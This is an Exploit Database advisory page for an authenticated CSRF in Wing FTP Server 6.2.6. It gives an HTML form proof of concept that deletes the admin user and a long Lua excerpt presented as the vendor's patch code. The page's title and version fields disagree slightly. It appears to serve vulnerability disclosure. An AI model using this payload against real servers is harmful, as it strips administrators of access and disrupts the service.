



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Wing FTP Server - Authenticated CSRF (Delete Admin)

EDB-ID:

48200

CVE:

N/A

EDB Verified: ✗

Author:

[DHIRAJ MISHRA](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2020-03-11

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Date: 2020-03-10
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://www.wftpserver.com
# Version: v6.2.6
# Tested on: Windows 10
```

Summary:

An authenticated CSRF exists in web client and web administration of Wing FTP v6.2.6, a crafted HTML page could delete admin user from the application where as administration needs to re-install the program and add admin user again. Issue was patched in v6.2.7.

Proof of concept:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://IP:5466/admin_delete_admin.html" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="r" value="0&#46;9219583354400562" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

Patch (lua/cgiadmin.lua):

URL: <https://www.wftpserver.com/serverhistory.htm>

```
local outfunc = "echo"
```

```
local function out (s, i, f)
s = string.sub(s, i, f or -1)
if s == "" then return s end
s = string.gsub(s, "([\n\\'])", "\\%1")
s = string.gsub(s, "\r", "\\r")
return string.format(" %s('%s'); ", outfunc, s)
end
```

```
local function translate (s)
s = string.gsub(s, "<%%(.-%)%>", "<??lua %1 ??>")
local res = {}
local start = 1
while true do
local ip, fp, target, exp, code = string.find(s, "<%%?(%w*)[\t]*(=?)(.-%)?%?>", start)
if not ip then break end
table.insert(res, out(s, start, ip-1))
if target ~= "" and target ~= "lua" then
table.insert(res, out(s, ip, fp))
else
if exp == "=" then
table.insert(res, string.format(" %s(%s);", outfunc, code))
else
table.insert(res, string.format(" %s ", code))
end
end
start = fp + 1
end
table.insert(res, out(s, start))
return table.concat(res)
end
```

```
local function compile (src, chunkname)
return loadstring(translate(src), chunkname)
end
```

```
function include (filename, env)
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

if incfiles[filename] == nil then
incfiles[filename] = true;
path = c_GetAppPath()
path = path .. "/webadmin/"..filename
local errstr = string.format("<b>The page '%s' does not
exist!</b>",filename)
local fh,_ = io.open (path)
if not fh then
echo_out = echo_out..errstr
return
end
local src = fh:read("*a")
fh:close()
local prog = compile(src, path)

local _env
if env then
_env = getfenv (prog)
setfenv (prog, env)
end

local status,err = pcall(prog)
if not status then
if type(err) == "string" and not string.find(err,"exit function!") then
print(string.format("some error in %s!",err))
end
return
end
end
end

function var_dump(var)
print("{")
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"
or type(var) == "function" then
print(var)
elseif(type(var) == "thread") then
print("thread")
elseif(type(var) == "userdata") then
print("userdata")
elseif type(var) == "nil" then
print("nil")
elseif type(var) == "table" then
for k,v in pairs(var) do
if type(k) == "string" then k="'"..k..'" end
if(type(v) == "string") then
print(k.."=>'..v..'',"")
elseif(type(v) == "number" or type(v) == "boolean") then
print(k.."=>..tostring(v)..","")
elseif(type(v) == "function") then
print(k.."=>function,")
elseif(type(v) == "thread") then
print(k.."=>thread,")
elseif(type(v) == "userdata") then
print(k.."=>userdata,")
elseif(type(v) == "nil") then
print(k.."=>nil,")
elseif(type(v) == "table") then
print(k.."=>table,")
else
print(k.."=>object,")
end
end
else
print("object")
end
print("}")
end

```


 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
else
string.gsub (strContent, "([^&=\\r\\n]+)=([^&=\\r\\n]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
end

function init_session()
if _COOKIE["UIDADMIN"] ~= nil then
_SESSION_ID = _COOKIE["UIDADMIN"]
SessionModule.load(_SESSION_ID)
end
end

function init_cookie()
local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")
if cookiestr == nil or cookiestr == "" then return end
string.gsub (cookiestr, "([^\s;=]+)=([^\s;=]*);%s?",
function (key, val)
rawset(_COOKIE,unescape(key),unescape(val))
end
)
end

function setcookie(name,value,expire_secs)
if name == "UIDADMIN" then return end
local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",
os.time()+3600*24*365)
_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";
expires="..expiretime.."\\r\\n"
rawset(_COOKIE,name,value)
end

function getcookie(name)
if name == "UIDADMIN" then return end
return _COOKIE[name]
end

function deletecookie(name)
setcookie(name,"",-10000000)
end

```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
function deleteallcookies()
for name,_ in pairs(_COOKIE) do
deletecookie(name)
end
end

local cookie_metatable =
{
__newindex = function(t,k,v)
setcookie(k,v,360000)
end
}
setmetatable(_COOKIE,cookie_metatable)

session_metatable =
{
__newindex = function(t,k,v)
if type(v) ~= "table" then
if k ~= nil then
k = string.gsub(k,"'","")
k = string.gsub(k,"\\","")
end
if v ~= nil then
--v = string.gsub(v,"%[", "")
--v = string.gsub(v,"%]", "")
end
rawset(_SESSION,k,v)
SessionModule.save(_SESSION_ID)
end
end
}
--setmetatable(_SESSION,session_metatable)

function init_all()
init_cookie()
init_session()
init_get()
init_post()
end

function setContentType(typestr)
_CONTENTTYPE = typestr
end

function exit()
error("exit function!")
end
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING